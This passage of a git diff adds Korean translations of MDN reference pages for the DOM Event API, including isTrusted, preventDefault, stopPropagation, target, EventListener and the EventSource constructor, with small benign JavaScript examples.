+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("DOMTransactionEvent")}}</li>
+ <li>{{domxref("DragEvent")}}</li>
+ <li>{{domxref("EditingBeforeInputEvent")}}</li>
+ <li>{{domxref("ErrorEvent")}}</li>
+ <li>{{domxref("FetchEvent")}}</li>
+ <li>{{domxref("FocusEvent")}}</li>
+ <li>{{domxref("GamepadEvent")}}</li>
+ <li>{{domxref("HashChangeEvent")}}</li>
+ <li>{{domxref("IDBVersionChangeEvent")}}</li>
+ <li>{{domxref("InputEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("MutationEvent")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("OverconstrainedError")}}</li>
+ <li>{{domxref("PageTransitionEvent")}}</li>
+ <li>{{domxref("PaymentRequestUpdateEvent")}}</li>
+ <li>{{domxref("PointerEvent")}}</li>
+ <li>{{domxref("PopStateEvent")}}</li>
+ <li>{{domxref("ProgressEvent")}}</li>
+ <li>{{domxref("RelatedEvent")}}</li>
+ <li>{{domxref("RTCDataChannelEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("SensorEvent")}}</li>
+ <li>{{domxref("StorageEvent")}}</li>
+ <li>{{domxref("SVGEvent")}}</li>
+ <li>{{domxref("SVGZoomEvent")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+ <li>{{domxref("TouchEvent")}}</li>
+ <li>{{domxref("TrackEvent")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+ <li>{{domxref("UIEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+ </ul>
+ </div>
+ </li>
+</ul>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd><code>Event</code> 객체를 생성하고 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 DOM을 타고 위로 확산되는지 나타냅니다.</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>{{domxref("Event.stopPropagation()")}}의 이명으로, 과거에 사용하던 명칭입니다. 이벤트 처리기가 종료되기 전에 값을 <code>true</code>로 설정하면 더 이상의 확산을 막습니다.</dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>이벤트를 취소할 수 있는지 나타냅니다.</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd>이벤트가 섀도 DOM과 일반 DOM의 경계를 넘어 확산할 수 있는지 나타내는 불리언입니다.</dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd>이벤트를 위해 현재 등록된 대상의 참조. 이벤트가 현재 전달되기로한 객체입니다. 재 타게팅을 통해 변경될수도 있습니다.</dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>이벤트가 확산하며 거쳐간 DOM {{domxref("Node")}}의 {{jsxref("Array")}}입니다.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>이벤트의 {{domxref("event.preventDefault()")}}가 호출됐는지를 나타냅니다.</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>처리 중인 이벤트 흐름의 단계를 나타냅니다.</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>이벤트의 명시적인 원래 대상입니다. (Mozilla 전용)</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>이벤트 대상 재설정 이전의 원래 대상입니다. (Mozilla 전용)</dd>
+ <dt>{{domxref("Event.returnValue")}}</dt>
+ <dd>Internet Explorer가 도입했으며 구형 사이트의 동작을 보장하기 위해 DOM 명세에 포함된 호환용 속성입니다. 이상적으로는 {{domxref("Event.preventDefault()")}}와 {{domxref("Event.defaultPrevented")}}를 사용해야 하지만, 원하면 <code>returnValue</code>를 사용할 수 있습니다.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>구버전 Internet Explorer에서 사용한 {{domxref("Event.target")}}의 다른 이름입니다. 비표준이지만 일부 다른 브라우저에서도 호환성을 위해 지원하고 있습니다.</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 처음에 발생했던 대상의 참조입니다.</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 생성된 시간(밀리초)입니다. 명세에 따르면 문서 로딩 후 이벤트 생성 시점까지의 시간으로 나타나 있지만 실제 구현은 브라우저마다 다릅니다. 또한 이 속성의 값을 {{domxref("DOMHighResTimeStamp")}}로 바꾸는 작업이 진행 중입니다.</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>이벤트의 이름입니다. 대소문자를 구분하지 않습니다.</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 브라우저에 의해 생성, 예컨대 사용자 클릭으로 인해 발생한 것인지, 아니면 {{domxref("Event.initEvent()")}} 등을 사용한 스크립트에서 발생한 것인지 나타냅니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>Obsolete; use {{domxref("Event.composed", "composed")}} instead. (A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM.)</dd>
+</dl>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Event.composedPath()")}}</dt>
+ <dd>이벤트의 경로, 즉 수신기를 발동할 모든 객체를 반환합니다. 섀도우 루트의 {{domxref("ShadowRoot.mode")}}가 <code>closed</code>인 경우 섀도우 트리의 노드는 포함하지 않습니다.</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>취소 가능한 경우 이벤트를 취소합니다.</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>이 특정 이벤트에 대해서 다른 모든 수신기의 호출을 방지합니다. 같은 요소에 부착된 수신기는 물론 캡처 단계 등 이후에 순회활 요소에 부착된 수신기도 이 이벤트를 받지 않습니다.</dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>이벤트의 DOM 내 추가 확산을 방지합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="더_이상_사용되지_않는_메소드">더 이상 사용되지 않는 메소드</h3>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Creates a new event, which must then be initialized by calling its <code>initEvent()</code> method.</dd>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>생성된 이벤트의 값을 초기화합니다. 이벤트가 이미 디스패치되고 있다면, 이 메소드는 아무것도 하지 않습니다.</dd>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{domxref("Event.defaultPrevented")}}의 값을 반환합니다.</dd>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>이벤트 확산을 방지합니다. {{domxref("event.stopPropagation")}}을 사용하세요.</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>이벤트 확산을 방지합니다. {{domxref("event.stopPropagation")}}을 사용하세요.</dd>
+</dl>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>명세</th>
+ <th>상태</th>
+ <th>코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>사용 가능한 이벤트 유형: <a href="/ko/docs/Web/Events">이벤트 참고서</a></li>
+ <li><a href="/ko/docs/Web/API/Event/Comparison_of_Event_Targets">이벤트 대상의 비교</a> (<code>target</code> vs <code>currentTarget</code> vs <code>relatedTarget</code> vs <code>originalTarget</code>)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/event/istrusted/index.html b/files/ko/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..afce93c401
--- /dev/null
+++ b/files/ko/web/api/event/istrusted/index.html
@@ -0,0 +1,61 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+tags:
+ - API
+ - Event
+ - Property
+ - Read-only
+ - Reference
+ - 속성
+ - 이벤트
+translation_of: Web/API/Event/isTrusted
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Event")}} 인터페이스의 읽기 전용 속성인 <strong><code>isTrusted</code></strong>는, 이벤트가 사용자 행위에 의하여 발생되었으면 <code>true</code>이고 이벤트가 스크립트로 인해 생성 또는 수정되었거나 <code>dispatchEvent</code>를 통해 보내졌으면 <code>false</code>인 논리 값입니다. 이것이 <code>true</code>인 이벤트는 <strong>신뢰된다</strong>고 표현합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre> if(event.isTrusted)
+ {
+ // 이 이벤트는 신뢰됩니다.
+ }
+ else
+ {
+ // 이 이벤트는 신뢰되지 않습니다.
+ }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+ <td>{{ Spec2('DOM WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ <td>이벤트가 신뢰되기 위한 요건을 추가하였으나 <code>isTrusted</code> 속성을 정의하지는 않았습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Event.isTrusted")}}</p>
diff --git a/files/ko/web/api/event/preventdefault/index.html b/files/ko/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..71f4fdb229
--- /dev/null
+++ b/files/ko/web/api/event/preventdefault/index.html
@@ -0,0 +1,93 @@
+---
+title: event.preventDefault
+slug: Web/API/Event/preventDefault
+translation_of: Web/API/Event/preventDefault
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id=".E6.A6.82.E8.A6.81" name=".E6.A6.82.E8.A6.81">개요</h3>
+
+<p>이벤트를 취소할 수 있는 경우, 이벤트의 전파를 막지않고 그 이벤트를 취소합니다.</p>
+
+<h3 id=".E6.A7.8B.E6.96.87" name=".E6.A7.8B.E6.96.87">구문</h3>
+
+<pre class="eval"><em>event</em>.preventDefault()
+</pre>
+
+<h3 id=".E4.BE.8B" name=".E4.BE.8B">예제</h3>
+
+<p>다음의 예제에서는 체크박스를 클릭했을 때 발생하는 동작을 멈추는 방법을 살펴보겠습니다. </p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function stopDefAction(evt) {
+ evt.preventDefault();
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;체크박스 컨트롤을 클릭해 주세요&lt;/p&gt;
+
+&lt;form&gt;
+&lt;input type="checkbox" onclick="stopDefAction(event);"/&gt;
+&lt;label for="checkbox"&gt;체크박스&lt;/label&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>preventDefault의 예제를 </code><a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">여기</a><code>에서 확인할 수 있습니다.</code></p>
+
+<p>아래의 예제에서는, preventDefault() 를 사용해서 올바르지 않은 텍스트가 입력란에 입력되는것을 막는 방법을 설명하고 있습니다.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function checkName(evt) {
+var charCode = evt.charCode;
+
+ if (charCode != 0) {
+ if (charCode &lt; 97 || charCode &gt; 122) {
+ evt.preventDefault();
+ alert("소문자만 입력할 수 있습니다." + "\n"
+ + "charCode: " + charCode + "\n"
+ );
+ }
+ }
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;당신의 이름을 소문자만으로 입력해주세요.&lt;/p&gt;
+&lt;form&gt;
+&lt;input type="text" onkeypress="checkName(event);"/&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id=".E6.B3.A8.E6.84.8F.E7.82.B9" name=".E6.B3.A8.E6.84.8F.E7.82.B9">주의</h3>
+
+<p>이벤트를 취소하는 도중에 preventDefault를 호출하게되면, 일반적으로는 브라우저의 구현에 의해 처리되는 기존의 액션이 동작하지 않게되고, 그 결과 이벤트가 발생하지 않게됩니다.</p>
+
+<p>이벤트의 취소가능 여부는 <a href="/ko/DOM/event.cancelable" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ko/DOM/event.cancelable">event.cancelable</a>를 사용해서 확인할 수 있습니다. 취소불가능한 이벤트에 대해서 preventDefault를 호출해도 결과는 없습니다.</p>
+
+<p>preventDefault는 DOM을 통한 이벤트의 전파를 막지않습니다. 전파를 막을때는 <a href="/ko/docs/Web/API/Event/stopPropagation" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ko/DOM/event.stopPropagation">event.stopPropagation</a>를 사용해주세요.</p>
+
+<h3 id=".E4.BB.95.E6.A7.98.E6.9B.B8" name=".E4.BB.95.E6.A7.98.E6.9B.B8">사양</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-preventDefault">DOM Level 2 Events: preventDefault</a></p>
diff --git a/files/ko/web/api/event/stopimmediatepropagation/index.html b/files/ko/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..6c2bc93b84
--- /dev/null
+++ b/files/ko/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,91 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>event.stopImmediatePropagation()</code> 는 같은 이벤트에서 다른 리스너들이 불려지는 것을 막습니다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="eval"><em>event</em>.stopImmediatePropagation();
+</pre>
+
+<h2 id="주석">주석</h2>
+
+<p>만약  다양한 리스너들이 같은 이벤트타입을 위한 같은 요소에 소속되어 있다면 그들은 추가 된 순서대로 불리게 될 것입니다. 만약 <code>event.stopImmediatePropagation()을 호출하면, 남아있는 리스너들이 불리는 일이 없을 것입니다.</code></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("6.0")}}</td>
+ <td>{{CompatGeckoDesktop("10.0")}}</td>
+ <td>{{CompatIE(9.0)}}</td>
+ <td>{{CompatOpera("15.0")}}</td>
+ <td>{{CompatSafari("5.0")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/event/stoppropagation/index.html b/files/ko/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..bead1eceb9
--- /dev/null
+++ b/files/ko/web/api/event/stoppropagation/index.html
@@ -0,0 +1,99 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>이벤트 캡쳐링과 버블링에 있어 현재 이벤트 이후의 전파를 막습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>DOM에서 이 방법과 이벤트 전파의 더욱 상세한 예시를 위한 예제 5:  <a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Event Propagation</a> 를 보세요.</p>
+
+<h2 id="주석">주석</h2>
+
+<p>이벤트 흐름의 설명을 위한 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM 명세</a> 를 보세요. ( <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM 레벨 3 이벤트 초안</a>에는 삽화가 들어가 있습니다.)</p>
+
+<p><a href="/en-US/docs/Web/API/event.preventDefault">preventDefault</a>는 이벤트의 기본적인 동작(캡쳐링과 버블링)이 일어나는 것을 막기위해 보완적으로 사용되는 방법입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+ <td>{{Spec2("DOM2 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>9</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/event/target/index.html b/files/ko/web/api/event/target/index.html
new file mode 100644
index 0000000000..02fbdd8726
--- /dev/null
+++ b/files/ko/web/api/event/target/index.html
@@ -0,0 +1,96 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+ - 돔
+ - 레퍼런스
+ - 속성
+ - 이벤트
+ - 타겟
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{domxref("Event")}} interface의 <code><strong>target</strong></code> 속성은  event가 전달한 객체에 대한 참조입니다. 이는 이벤트의 버블링 또는 캡처 단계에서 이벤트 핸들러를 호출하는 {{domxref("Event.currentTarget")}}와 다릅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">theTarget = event.target</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("EventTarget")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p><code>event.target</code> 속성을 사용하여 <strong>event delegation</strong>을 구현할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target refers to the clicked &lt;li&gt; element
+  // This is different than e.currentTarget which would refer to the parent &lt;ul&gt; in this context
+  e.target.style.visibility = 'hidden';
+}
+
+// Attach the listener to the list
+// It will fire when each &lt;li&gt; is clicked
+ul.addEventListener('click', hide, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+ <td>{{Spec2("DOM2 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.target")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>On IE 6-8 the event model is different. Event listeners are attached with the non-standard {{domxref('EventTarget.attachEvent')}} method. In this model, the event object has a {{domxref('Event.srcElement')}} property, instead of the <code>target</code> property, and it has the same semantics as <code>event.target</code>.</p>
+
+<pre class="brush: js notranslate">function hide(e) {
+ // Support IE6-8
+ var target = e.target || e.srcElement;
+ target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></li>
+</ul>
diff --git a/files/ko/web/api/eventlistener/index.html b/files/ko/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..ca59ea3c43
--- /dev/null
+++ b/files/ko/web/api/eventlistener/index.html
@@ -0,0 +1,84 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+translation_of: Web/API/EventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><strong><code>EventListener</code></strong> 인터페이스는 {{domxref("EventTarget")}} 객체로부터 발생한 이벤트를  처리하기 위한 오브젝트를 말합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 레거시 코드와의 호환성을 유지하기 위해서, <code>EventListener</code> 는 함수 혹은 <code>handleEvent()</code> 함수를 가진 오브젝트를 인자로 받습니다.  아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener$translate?tolocale=ko#Example">예제</a>에서 확인해보세요.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 구현체나, 상속, 속성 어떤것도 갖고 있지 않습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 어떤 메소드도 상속받지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("EventListener.handleEvent()")}}</dt>
+ <dd>주어진 타입의 이벤트가 발생할 때마다 호출될 함수입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id="btn"&gt;여기를 눌러보세요!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const buttonElement = document.getElementById('btn');
+
+// 콜백 함수를 제공함으로써 '클릭' 이벤트를 처리하는 핸들러를 추가합니다.
+// 엘리먼트가 클릭될 떄마다, "누름!" 팝업이 나타날것입니다.
+buttonElement.addEventListener('click', function (event) {
+ alert('누름!');
+});
+
+// 호환성을 위해서, 함수가 아닌 `handleEvent` 속성을 가진 오브젝트도
+// 똑같이 처리됩니다.
+buttonElement.addEventListener('click', {
+ handleEvent: function (event) {
+ alert('handleEvent 함수로 누름!');
+ }
+});
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}</td>
+ <td>{{Spec2('DOM2 Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventListener")}}</p>
diff --git a/files/ko/web/api/eventsource/eventsource/index.html b/files/ko/web/api/eventsource/eventsource/index.html
new file mode 100644
index 0000000000..dc285494a4
--- /dev/null
+++ b/files/ko/web/api/eventsource/eventsource/index.html
@@ -0,0 +1,79 @@
+---
+title: EventSource()
+slug: Web/API/EventSource/EventSource
+tags:
+ - API
+ - EventSource
+ - 레퍼런스
+ - 생성자
+ - 서버 전송 이벤트
+translation_of: Web/API/EventSource/EventSource
+---
+<div>{{APIRef('WebSockets API')}}</div>
+
+<p><code><strong>EventSource</strong></code><strong><code>()</code></strong> 생성자는 원격 자원을 나타내는 새롭게 생성된 {{domxref("EventSource")}} 를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">eventSource = new EventSource(<em>url</em>, <em>configuration</em>);</pre>
+
+<h3 class="syntaxbox" id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>이벤트/메시지를 제공하는 원격 자원의 위치를 나타내는 {{domxref("USVString")}} 입니다.</dd>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd>새 연결 구성을 위한 옵션을 제공합니다. 가능한 항목은 다음과 같습니다.
+ <ul>
+ <li><code>withCredentials</code>. 기본값은 <code>false</code> 이며, CORS 가 자격을 <code>포함</code>하도록 설정되어야하는지를 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+ var newElement = document.createElement("li");
+
+ newElement.textContent = "message: " + e.data;
+ eventList.appendChild(newElement);
+}</pre>
+
+<div class="note">
